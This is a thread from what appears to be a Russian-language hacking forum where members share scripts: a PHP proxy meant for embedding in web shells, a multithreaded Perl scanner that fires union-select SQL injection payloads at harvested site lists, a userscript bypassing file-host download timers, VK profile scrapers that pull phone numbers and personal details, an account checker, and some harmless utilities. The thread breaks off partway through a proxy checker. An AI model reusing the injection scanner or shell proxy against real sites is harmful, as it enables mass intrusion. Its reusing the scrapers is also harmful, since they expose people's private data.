Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. WNZRS

    WNZRS Member

    Joined:
    3 Sep 2009
    Messages:
    294
    Likes Received:
    52
    Reputations:
    1
    PHP PROXY

    Не большой класс PHP Proxy, можно встраивать в шелы (для доступа к разделам сайта где ограничение по IP)
    PHP:
    <?php
        
    class WebProxy
        
    {
            var 
    $url '';
            var 
    $page '';
            var 
    $content '';
            var 
    $config;
            var 
    $brouser 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.6.0';
            
            function 
    WebProxy($cookie 1$ref 1$arch 0$img 0)
            {
                
    $this->config = array('cookie'=>$cookie'ref'=>$ref'archive'=>$arch'img'=>$img);
                
    session_start();
            }
            function 
    GetPage($url)
            {
                
    $this->url urldecode($url);
                
                
    $l_url '';
                
                if(
    $this->config['ref'] == 1)
                {
                    if(!isset(
    $_GET['img']) && isset($_SESSION['url'])) 
                        
    $l_url $_SESSION['url'];
                        
                    
    $_SESSION['url'] = $this->url;
                }
                
                
    $cookie '';
                if(isset(
    $_SESSION['cookie']) && $this->config['cookie'] == 1
                    
    $cookie $this->implode_x('; '$_SESSION['cookie']);
                
                
    $curl curl_init();
                    
                
    curl_setopt($curlCURLOPT_USERAGENT$this->brouser);
                
    curl_setopt($curlCURLOPT_URL$this->url);
                
    curl_setopt($curlCURLOPT_RETURNTRANSFER1);
                if(
    strlen(ini_get('open_basedir')) == 0// If safe_mode Off
                    
    curl_setopt($curlCURLOPT_FOLLOWLOCATION1);
                
    curl_setopt($curlCURLOPT_HEADER1);
                
    curl_setopt($curlCURLOPT_TIMEOUT10);
                if(
    $this->config['ref'] == 1
                    
    curl_setopt($curlCURLOPT_REFERER'http://'.$l_url);
                    
                if(
    $this->config['cookie'] == 1)
                {
                    
    curl_setopt($curlCURLOPT_COOKIESESSION 1);
                    
    curl_setopt($curlCURLOPT_COOKIE$cookie);
                }
                if(
    sizeof($_POST) > 0
                {
                    
    curl_setopt($curlCURLOPT_POST1);
                    
    curl_setopt($curlCURLOPT_POSTFIELDSimplode_x('&'$_POST));
                }
                
                
    $this->page curl_exec($curl);
            }
            function 
    ParseHeader()
            {
                if(
    $this->config['cookie'] == 1)
                {
                    
    $mass = array();
                    
    preg_match_all('~Set-Cookie: ([^\r\n;]*)[\r\n;]~i'$this->page$mass);
                    foreach(
    $mass[1] as $val)
                    {
                        
    $cook explode('='$val);
                        
    $name trim($cook[0]);
                        
    $value trim($cook[1]);
                        
    $_SESSION['cookie'][$name] = $value;
                    }
                }

                
    $one 1;
                
    $result explode("\r\n\r\n"$this->page);
                for(
    $i=0$i sizeof($result); $i++)
                    if(
    substr($result[$i], 04) == 'HTTP'
                    { 
                        if(
    $one)
                        {
                            
    $r = array();
                            
    preg_match('/(content-type: [^\r\n]+)/i'$result[$i], $r);
                            if(isset(
    $r[1])) $this->content $r[1];
                            
                            
    $t = array();
                            
    preg_match('/[\r\n]Location: (.+)[\r\n]/Uis'$result[$i], $t);
                            if(isset(
    $t[1]))
                            {
                                
    header('Location: '.$_SERVER['SCRIPT_NAME'].'?url='.$this->url_preg(trim($t[1])));
                                exit();
                            }
                            
                            
    $one 0;
                        }
                        unset(
    $result[$i]); 
                    }
                
    $this->page implode("\r\n\r\n"$result);
            }
            function 
    FilterURL()
            {
                if(
    $this->config['img'] == 0)
                {
                    
    $this->page preg_replace_callback('/<([^>]+)(href|action|src)([^>"\']*)(["\'])([^"\']*)(\4)/Uis', array(&$this'url_preg'), $this->page);
                    
    $this->page preg_replace_callback('/url\(([^\)]+)\)/Uis', array(&$this'url_css_preg'), $this->page);
                }
            }
            function 
    RemoveScript()
            {
                if(
    $this->config['img'] == 0)
                {
                    
    $this->page preg_replace('/<script[^>]*>.+<\/script>/Uis'''$this->page);
                    
    $this->page preg_replace('/(onload|onmouseover|onmouseout|onmousedown|onmouseup|onclick|onmousemove)[^=]*=([^"])*"[^"]*\2/Uis'''$this->page);
                }
            }
            function 
    DrawPage()
            {
                if(
    $this->config['archive'] == && $this->config['img'] == 0)
                {
                    
    $this->page preg_replace('/([\r\n\t]|(<![^>]*>)|[ ][ ])/Uis'''$this->page);
                }
                
                if(
    strlen($this->content) > 1header($this->content);
                echo 
    $this->page;
                if(
    $this->config['img'] == 0$this->form($this->url);
            }
            function 
    form($url='http://')
            {
                echo 
    '<hr><div style="text-align:center;"><form action="'.$_SERVER['SCRIPT_NAME'].'" method="GET"><input size="100" id="url" name="url" value="'.
                    
    $url.'"><input type="submit" value="GO"></form></div>';
            }
            function 
    implode_x($x$a)
            {
                
    $str '';
                foreach(
    $a as $key=>$value)
                {
                    if(
    strlen($str)>1$str .= $x;
                    
    $str .= $key.'='.$value;
                }
                return 
    $str;
            }
            function 
    url_css_preg($m)
            {
                return 
    'url('.$_SERVER['SCRIPT_NAME'].'?url='.$this->url_preg($m[1]).')';
            }
            function 
    url_preg($m)
            {
                
    $istring is_string($m);
                
                
    $str $m;
                if(!
    $istring$str $m[5];
                
                if(
    strcmp(substr($str02), '//') == 0$str 'http:'.$str;
                if(
    strcmp(substr($str09), 'javascipt') == && !$istring) return $m[0];
                if(
    substr($str04) != 'http')
                {
                    
    $u explode('/'$this->url);
                    
    $x explode('/'$str);        
                    
                    if(
    sizeof($x) == 0)
                        
    $str $u[0].'//'.$u[2].'/';
                    else if(
    $x[0] == '')
                    {
                        unset(
    $x[0]);
                        
    $str $u[0].'//'.$u[2].'/'.implode('/'$x);
                    }
                    else if(
    $x[0] == '..')
                    {
                        
    $e sizeof($u)-1;
                        if(
    $e 2) { unset($u[$e]); $e--; unset($x[0]); }
                        for(
    $i 1$i sizeof($x); $i++)
                            if(
    $x[$i] == '..' && $e 2) { unset($u[$e]); $e--; unset($x[$i]); }
                            else break;
                            
                        
    $str implode('/'$u);
                        if(
    $str[strlen($str)-1] != '/'$str .= '/';
                        
    $str .= implode('/'$x);
                    }
                    else 
                    {
                        if(
    strpos($u[sizeof($u)-1], '.') != 0) unset($u[sizeof($u)-1]);
                        
    $str implode('/'$u);
                        if(
    $str[strlen($str)-1] != '/'$str .= '/';
                        
    $str .= implode('/'$x);
                    }
                }
                
                
    $str urlencode($str);
                if(
    $istring) return $str;
                
                if(
    strcmp($m[2], 'href') == || strcmp($m[2], 'action') == 0) return '<'.$m[1].$m[2].$m[3].$m[4].$_SERVER['SCRIPT_NAME'].'?url='.$str.'"';
                else return 
    '<'.$m[1].$m[2].$m[3].$m[4].$_SERVER['SCRIPT_NAME'].'?url='.$str.'&img'.$m[6];
            }
        }
        
        
    $proxy = new WebProxy(111, isset($_GET['img']));
        
    $proxy->GetPage($_GET['url']);
        
    $proxy->ParseHeader();
        
    $proxy->FilterURL();
        
    $proxy->RemoveScript();
        
    $proxy->DrawPage();
    ?>
     
    zakidorex likes this.
  2. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    Вообщем кому надо, вот скрипт проверяющий все урлы в текстовике на sql - инъекцию. Если сайт уязвим, скрипт узнает количество колонок.
    Результат записывается в текстовик.
    Code:
    #!/usr/bin/perl -w
    ##########################################
    ##########Coded by Daniel_1024 #################
    ##########################################
    use warnings;
    use threads;
    use threads::shared;
    use LWP::Simple;
    use LWP::UserAgent;
    use HTTP::Request;
    system(cls);
    print "Enter a file with targets:";
    $file = <STDIN>;
    print "Enter output file:";
    $vulnfile=<STDIN>;
    print "Enter number of threads:";
    $tn=<STDIN>;
    open("FILE", $file) || die "Couldn't open file\n";
    my @sites : shared =<FILE>;
    close("FILE");
    chomp(@sites);
    
    my $num = 0;
    my @trl = undef;
    my $null   = "09+and+1=" ;
    my $code   = "0+union+select+" ;
    my $add = '+' ; 
    my $com ='--';
    
    print "Scan started\n";
    
    for(0..$tn-1) {$trl[$_] = threads->create(\&test, $_);}
    for(@trl)   { $_->join; }
    
    sub test
    {
    	while(@sites){
    		 { lock(@sites);}
             my $site = shift(@sites);
    		 my $i = 0;
    		 my $col = '';
    		 my $specialword = '';
    		 my $injection = $site.$null.$code."0",$com ;
    		 my $useragent = LWP::UserAgent->new();
    		 $useragent->proxy("http", "http://$proxy/") if defined($proxy);
    		 my $response  = $useragent->get($injection);
    		 my $result   = $response->content;
    		 if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
    		 {
    			 for ($i = 0 ; $i < 35 ; $i ++)
    			 {
    				 $col.=','.$i;
    				 $specialword.=','."0x617a38387069783030713938";
    				 if ($i == 0)
    				 {
    					 $specialword = '' ; 
    					 $col = '' ;
    				 }
    				 $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ;
    				 $ua = LWP::UserAgent->new();
    				 $ua->proxy("http", "http://$proxy/") if defined($proxy);
    				 $rq = $ua->get($sql);
    				 $response = $rq->content;
    				 if($response =~ /az88pix00q98/)
    				 {
    					 $i ++;			 
    					 print "\n[!] The Website $site Is Vulnerable\n" ;
    					 print "[!] It Have $i Columns\n" ;
    					 $sql=$site.$null.$code."0".$col.$com ;
    					 print "=> ".$sql ."\n";	
    					 open(vuln_file,">>$vulnfile");
    					 print vuln_file "$sql\n";
    					 close(vuln_file);	 
    				 }	
    			 }
    		 }
    		 else
    		 {
    			 print "[!] The WebSite $site Is Not SQL Vulnerable !\n";
    		 }
    	}
    		print "Scan finished";
    		print "[+] Saved to $vulnfile";
    	    sleep 5;
    }
    
    Это очень облегчает работу при проверке отпарсенных с поисковиков сайтов.
    скрипт многопоточный, за 10 часов проверяет около 70к ссылок....вообщем нехило....
     
  3. taxpayer

    taxpayer Member

    Joined:
    17 Jan 2010
    Messages:
    31
    Likes Received:
    7
    Reputations:
    3
    Code:
    #!/usr/bin/perl -w
    use warnings;
    
    Забавно, зачем включение ключа?

    Code:
    use LWP::Simple;
    use LWP::UserAgent;
    use HTTP::Request;
    
    Зачем LWP::Simple и HTTP::Request?

    Code:
    print "Enter a file with targets:";
    $file = <STDIN>;
    
    Наверно, корректно использование chomp
    chomp (my $file = <>)


    Code:
    open("FILE", $file) || die "Couldn't open file\n";
    my @sites : shared =<FILE>;
    close("FILE");
    chomp(@sites);
    
    Использование глобальных переменных не модно вроде как)

    open my $desc, '<', $file or die "$!\n";
    chomp (my @sites :shared = <$desc>);
    close $desc;

    Code:
    my $null   = "09+and+1=" ;
    my $add = '+' ;
    

    А в чём приоритеты исползования двойных кавычек в данном случае? :)
    И в верхних строках ты my не юзаешь , странно как-то

    Code:
    { lock(@sites);}
    my $site = shift(@sites);
    

    замок действует только внутри блока, ты весельчак)

    Code:
    $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i etc
    

    а в регекспах нет такого my $a = m,a|b|c,i ?
    Дальше не читал, там ещё хуже наверно

    Думаю, целесообразно скрипт переписать ;)
    10 потоков было ограничение в первом сп, хватит какие-то непонятные ограничения на всё ставить :)
     
  4. VladZombie

    VladZombie New Member

    Joined:
    18 Apr 2009
    Messages:
    47
    Likes Received:
    2
    Reputations:
    0
    Может у кого есть скрипт для преобразование в транслит?
     
  5. Solker

    Solker Elder - Старейшина

    Joined:
    4 May 2006
    Messages:
    175
    Likes Received:
    53
    Reputations:
    18
    Парсер страницы вконтакте
    PHP:
    <?php

    $id 
    '1';

    $url 'http://vkontakte.ru/id'.$id;
    $cookie 'your cookie';

        
    $ch curl_init();  
            
    curl_setopt($chCURLOPT_URL$url); 
            
    curl_setopt($chCURLOPT_HEADER1);
            
    curl_setopt($chCURLOPT_COOKIE$cookie);
            
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
            
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
            
    curl_setopt($chCURLOPT_TIMEOUT50);
            
    curl_setopt($chCURLOPT_CONNECTTIMEOUT50); 
            
    $res_curl curl_exec($ch);
            
    curl_close($ch);
            
    // Head
    preg_match('#<span id="activity_text">(.+?)<\/span>#i',$res_curl,$matches);
    $finish['status'] = $matches[1];
    preg_match('#<div class="profileName">\s+<h2>(.+?)<\/h2>\s+<\/div>#i',$res_curl,$matches);
    $finish['full_name'] = $matches[1];
    preg_match('#<div align="center">\s+<img src=(.+?) \/>\s+</div>#i',$res_curl,$matches);
    $finish['avatar'] = $matches[1];

    // Left
    preg_match('#<div><h2>Друзья <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
    $finish['friends'] = $matches[1];
    preg_match('#<div><h2>Фото <span>\(([0-9]+) .+\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
    $finish['albums'] = $matches[1];
    preg_match('#<div><h2>Видео <span id="videos_how_much">\(([0-9]+) .+\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
    $finish['videos'] = $matches[1];
    preg_match('#<a class="vTitle" href=".+?">(.+?)<\/a><br \/>#i',$res_curl,$matches);
    $finish['last_video'] = $matches[1];
    preg_match('#<div><h2>Заметки <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
    $finish['notes'] = $matches[1];
    preg_match('#<a href="\/note'.$id.'.+?">(.+?)<\/a>#i',$res_curl,$matches);
    $finish['last_note'] = $matches[1];
    preg_match('#<div><h2>Приложения <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
    $finish['apps'] = $matches[1];
    preg_match('#<a style="float: left" id=".+" href="/app.+">(.+?)</a>#i',$res_curl,$matches);
    $finish['last_app'] = $matches[1];
    preg_match('#<div><h2>Вопросы <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
    $finish['questions'] = $matches[1];
    preg_match('#<div><h2>Группы <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
    $finish['groups'] = $matches[1];

    // Right
    preg_match('#<td class="label">Пол:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
    $finish['sex'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Семейное положение:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
    $finish['family'] = strip_tags($matches[1]);
    preg_match('#<td class="label">День рождения:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
    $finish['birthday'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Родной город:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
    $finish['home_city'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Полит. взгляды:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
    $finish['polit'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Религ. взгляды:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
    $finish['relig'] = strip_tags($matches[1]);

    preg_match('#<td class="label">Город:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
    $finish['city'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Моб. телефон:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
    $finish['mob_t'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Дом. телефон:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
    $finish['hom_t'] = strip_tags($matches[1]);
    preg_match('#<td class="label">ICQ:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
    $finish['icq'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Веб-сайт:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
    $finish['www'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Деятельность:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
    $finish['activity'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Интересы:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
    $finish['interests'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Любимая музыка:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
    $finish['music'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Любимые фильмы:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
    $finish['movies'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Любимые телешоу:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
    $finish['tv_shows'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Любимые книги:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
    $finish['books'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Любимые игры:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
    $finish['games'] = strip_tags($matches[1]);
    preg_match('#<td class="label">Любимые цитаты:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
    $finish['quotes'] = strip_tags($matches[1]);
    preg_match('#<td class="label">О себе:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
    $finish['about'] = strip_tags($matches[1]);
    preg_match('#<span>\((.+?) подар.+\)</span>#i',$res_curl,$matches);
    $finish['gifts'] = strip_tags($matches[1]);

    print_r($finish);
     
  6. Komyak

    Komyak Banned

    Joined:
    14 Jan 2009
    Messages:
    202
    Likes Received:
    18
    Reputations:
    1
    PHP:

        $file 
    file_get_contents('rus.txt'); 
         
            
    $rus_s = array('щ','ж','ц''ч''ш''ю''я','а''б''в''г''д''е''ё''з''и''й''к''л''м''н''о''п''р''с''т''у''ф''х''ъ''ы''ь''э');  
            
    $eng_s = array('sch','zh','ts''ch','sh','yu''ya','a''b''v''g''d''e''e''z''i''j''k''l''m''n''o''p''r''s''t''u''f''h''''y''''e');  

             
            
    $file str_replace($rus_s$eng_s$file);  
            
    $file1 fopen('translit.txt''w');  
            
    fwrite($file1$file);  
            
    fclose($file1); 
          
          
        
    $file file_get_contents('rus.txt'); 
            
    $rus_s = array('щ','ж','ц''ч''ш''ю''я','а''б''в''г''д''е''ё''з''и''й''к''л''м''н''о''п''р''с''т''у''ф''х''ъ''ы''ь''э');  
            
    $qwer_s = array('o',';','w''x','i','.''z','f''d''d''u''l''t''`''p''b''q''r''k''v''y''j''g''h''c''n''e''a''['']''s''m''\'');  
             
             
            
    $file str_replace($rus_s$qwer_s$file);  
            
    $file1 fopen('qwer.txt''w');  
            
    fwrite($file1$file);  
            
    fclose($file1); 
         

     
    #926 Komyak, 12 Feb 2010
    Last edited: 12 Feb 2010
  7. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    Ты хоть сам пробовал парсить им ?
     
  8. Solker

    Solker Elder - Старейшина

    Joined:
    4 May 2006
    Messages:
    175
    Likes Received:
    53
    Reputations:
    18
    да
     
  9. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    Komyak
    там такая техника
    PHP:
    <?php
    $arr
    $_POST['arr'];
    $olo=array("i" => "и""b" => "б");
    if(
    array_key_exists($arr$olo)) { 
        echo 
    $olo["$arr"] ; 
    } else { 
        echo 
    "не существует"

    ?>
     
  10. Komyak

    Komyak Banned

    Joined:
    14 Jan 2009
    Messages:
    202
    Likes Received:
    18
    Reputations:
    1
    Ну дык ему и дали что просил:
    Даже целых две =)) И раскладка и транслит...
     
  11. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    я хотел сказать VladZombie :D
     
  12. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    PHP:
    <html> 
    <form id="form1" name="form1" method="post" action=""> 
      <p>mail</p> 
      <p>  
        <input name="mail" type="text" id="mail" /> 
      </p> 
      <p> 
      Pass</p> 
      <p> 
        <input name="pass" type="text" id="pass" /> 
      </p> 
      <p>Путь до файла с куками </p> 
       
      <p> 
        <input name="cookie" type="text" id="cookie"> 
      </p> 
      <p> 
        <input type="submit" name="Submit" value="Считать" /> 
      </p> 
       
    </form> 


    </html> 
    <?php 
    $mail
    =$_POST['mail']; 
    $pass=$_POST['pass']; 
    $cookie=$_POST['cookie']; 
    $date=date("d.m.y"); 
    if(!empty(
    $mail)){ 
    $ch=curl_init(); 
    curl_setopt($chCURLOPT_URL'http://vkontakte.ru/login.php'); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    curl_setopt($chCURLOPT_POST1); 
    curl_setopt($chCURLOPT_POSTFIELDS,'act=login&try_to_login=1&email='.$mail.'&pass='.$pass.''); 
    curl_setopt($chCURLOPT_COOKIEJAR$cookie); 
    $result=curl_exec($ch); 
    curl_setopt($chCURLOPT_URL'http://vkontakte.ru/profile.php'); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    curl_setopt($chCURLOPT_POST0); 
    curl_setopt($chCURLOPT_COOKIEFILE$cookie); 
    $result=curl_exec($ch); 
    curl_close($ch); 
    preg_match('/<div><h2>Друзья <span>\((.*)\)<\/span><\/h2><\/div>/'$result$res); 
    preg_match('/<a href="\/(.*)">главная<\/a>/'$result$m); 
    preg_match('/<div><h2>Друзья он-лайн <span>\((.*)\)<\/span><\/h2><\/div>/'$result$online); 
    $write=$date$m[1]"" Друзей $res[1]"" Друзей онлайн $online[1]"
    $fp=fopen("friends.txt""a"); 
    fputs($fp$write."\r\n"); 
    fclose($fp); 
    echo 
    "Статус-готово"
    }else{ 
    echo 
    "Статус-введи данные"

    ?>   
    в общем,потребовалось проверить старые акки вк на кол-во друзей
    пишет дату,ид,кол-во всего,кол-во онлайн
     
    #932 Compton, 13 Feb 2010
    Last edited: 13 Feb 2010
  13. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Чистим хард

    Я практически полностью забил свой винт на 250Гб. В папку downloads и заходить страшно - архивы папки... обычно я скачав архив разархивирую его в туже директорию в папку = имени архива. Разгрести все это руками не реально, поэтому я накидал скриптик, который шарится по винту ищет архивы и папки с их именами и удаляет все нафиг. Освободил ~9 Гб!!! места :) теперь думаю проверять время создания и последнего доступа к файлам - и удалить нафиг древний хлам

    PHP:
    <?php
    // Сканирования каталогов на наличие дублирования имен архивных файлов и папок
    // под Win (легко передалть под *nix) by Gar|k
    // удаляет папки = имя архива
    @set_time_limit(0);
    @
    ini_set('max_execution_time',0);
    define(FILE_TYPES,'zip|rar|gz|bz2');
    function 
    garik_rmdir($dir) {
        
    $arr_dir=array();
        
    $arr_file=array();
        if (
    is_dir($dir)) { // если дира
            
    if ($dh opendir($dir)) {
                while ((
    $file readdir($dh)) !== false) {
                    if(
    $file=='.' || $file=='..') continue;
                    if(
    is_dir($dir $file))
                        
    $arr_dir[]=$dir.$file;
                    else
                    if(
    preg_match("/(.*?)\.(".FILE_TYPES.")$/i",$file,$matches)) $arr_file[]=$dir.$matches[1];
                }
                
    closedir($dh);
            }
        }

        
    $res=array_intersect($arr_dir,$arr_file);
        foreach(
    $res as $v) {
            echo 
    $v."\n";
            
    system('rmdir /s /q "'.$v.'"'); // windows
        
    }

    }

    // рекурсивная функция которая проходится по всем каталогам запуская там поиск
    function recurse($dir) {
        if(
    is_dir($dir)) {
            if (
    $dh opendir($dir)) {
                while ((
    $file readdir($dh)) !== false) {
                    if(
    $file=='.' || $file=='..') continue;
                    if(
    is_dir($dir $file)) {
                        
    garik_rmdir($dir.$file.'\\');
                        
    recurse($dir.$file.'\\');
                    }

                }
                
    closedir($dh);
            }
        }
    }
    recurse("g:\\"); //понеслась
    ?>
    З.Ы: скрипт тупой ) но может кто-то разберет на его примере работу с рекурсивными функциями и директориями
     
    _________________________
    1 person likes this.
  14. HARD2638

    HARD2638 Member

    Joined:
    24 Nov 2009
    Messages:
    59
    Likes Received:
    28
    Reputations:
    0
    Вот решил выложить скриптик,сохранять его нужно в формате js,
    предназначен для сбрасывания счетчика времени при скачивании с
    файлообменников depositfiles.com и letitbit.net. Работает через оперу
    Установка:
    Откройте Opera

    Меню / Инструменты / Настройки / Содержимое

    1. Поставьте галочку возле JavaScript

    2. Нажмите кнопку "Настроить JavaScript"

    Посмотрите, что прописано в "Папка пользовательских файлов JavaScript"
    Если там пустое поле, то укажите сюда путь к ней с помощью кнопки Обзор


    Code:
    // ==UserScript==
    // @include *depositfiles.com/*
    // @include *letitbit.net/*
    // ==/UserScript==
    
    var is_load;
    
    document.addEventListener(
      'load',
      function (e) {
        is_load=document.body;
        if( !is_load ) { return; }
        DoHack();
      },
      false
    );
    setInterval("DoHack()",500);
    
    // **************************************
    function DoHack() {
    
      if( !is_load ) { return; }
    
      is_load=false;
    
      var host=window.location.hostname;
    
      if (host=='depositfiles.com') DepositHack();
      if (host=='letitbit.net') LetitbitHack();
    }
    
    // ********************************
    function LetitbitHack() {
      var topIfr = document.getElementById('topFrame');
      var mainIfr = document.getElementById('mainFrame');
      if ((topIfr!=null) && (mainIfr!=null)) {
       document.location.href=topIfr.src;
       return;
      }
    
      var el1=document.getElementById('errt');
      var el2=document.getElementById('links');
    
      if (el1 && el2) {
        el1.style.display="none";
        el2.style.display='block';
    
        var mydiv = document.createElement('div');
        mydiv.style.position = 'fixed';
        mydiv.style.top = '100px';
        mydiv.style.left = '0px';
        mydiv.style.color = '#000000';
        mydiv.style.width = '100%';
        document.body.appendChild(mydiv);
        mydiv.innerHTML='<center><a href="http://www.hackzone.ru"><h2>Hacked by HACKZONE.RU</h2></a></center>';
    
      }
    }
    // ********************************
    function DepositHack() {
      var obj_timer = document.getElementById('download_waiter');
      if (obj_timer) {
        obj_timer.destroy;
        obj_timer.innerHTML='<a href="http://www.hackzone.ru" style="font-color:red;font-size:14px;font-weight:bold;">Hacked by HACKZONE.RU</a>';
        var obj_url = document.getElementById('download_url');
        obj_url.style.display='block';
      }
    }
    
     
  15. ReduKToR

    ReduKToR Active Member

    Joined:
    5 Jan 2009
    Messages:
    257
    Likes Received:
    179
    Reputations:
    4
    Скиньте допотопный чекер прокси.Без всяких наворотов.чисто сам класс
     
  16. HARD2638

    HARD2638 Member

    Joined:
    24 Nov 2009
    Messages:
    59
    Likes Received:
    28
    Reputations:
    0
    Вот держи,старенький,но зато рабочий)))
    Code:
    <?  /**************************************************    **************  *                      *  *                                                               *  * This will perform a basic connectivity and anonymity test     *  *                                                               *  * Simply upload to a php enabled webserver and change the       *  * configurable parameters below if you so desire                *  *                                                               *  * 2005-11-11   v0.1 - Compatible with Charon v0.5.3.5           *  **************************************************    **************/  ?>  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">  <head><title>Online proxy tester</title></head>  <body bgcolor="black" text="white">   <?php   // Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config)     error_reporting(0);  // Limit the amount of proxies that can be tested at any one time     $maximum_proxies_to_test = 5;  // Enter a password (if required) to protect the page     $password = '';   // Actual proxyjudge part of the page     function return_env_variables()     {        echo '<pre>'."\n";        foreach ($_SERVER as $header => $value )        {          if ((strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) && ( strpos($header , 'HTTP_HOST') !== 0))          {          echo $header.' = '.$value."\n";          }        }        echo '</pre>';     }   // Function to go away and get the page (calls through the proxy back to itself)     function get_judge_page($proxy)     {     // Depending on the server environment, this timeout setting may not be available.            $timeout = 15;        $proxy_cont = '';        list($proxy_host, $proxy_port) = explode(":", $proxy);        $proxy_fp = fsockopen($proxy_host, $proxy_port, $errornumber, $errorstring, $timeout);        if ($proxy_fp)        {           stream_set_timeout($proxy_fp, $timeout);           fputs($proxy_fp, "GET " . $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " . $_SERVER['SERVER_NAME'] . "\r\n\r\n");           while(!feof($proxy_fp))           {                 $proxy_cont .= fread($proxy_fp,4096);           }           fclose($proxy_fp);           $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);        }        return $proxy_cont;        }   // Check for the control string to see if it's a valid fetch of the judge     function check_valid_judge_response($page)     {        if(strlen($page) < 5)           return false;        return strpos($page, 'REMOTE_ADDR') !== false;     }   // Check for the IP addresses     function check_anonymity($page)     {        if(strpos($page, $_SERVER['LOCAL_ADDR']) !== false)           return false;        return true;     }   // Takes and tests a proxy  // 0 - Bad proxy  // 1 - Good (non anon) proxy  // 2 - Good (anonymous) proxy     function test_proxy($proxy)     {        $page = get_judge_page($proxy);        if(!check_valid_judge_response($page))           return 0;        if(!check_anonymity($page))           return 1;        return 2;     }   ////////// Main Page ////////////   // If this is a judge request, just return the environmental variables     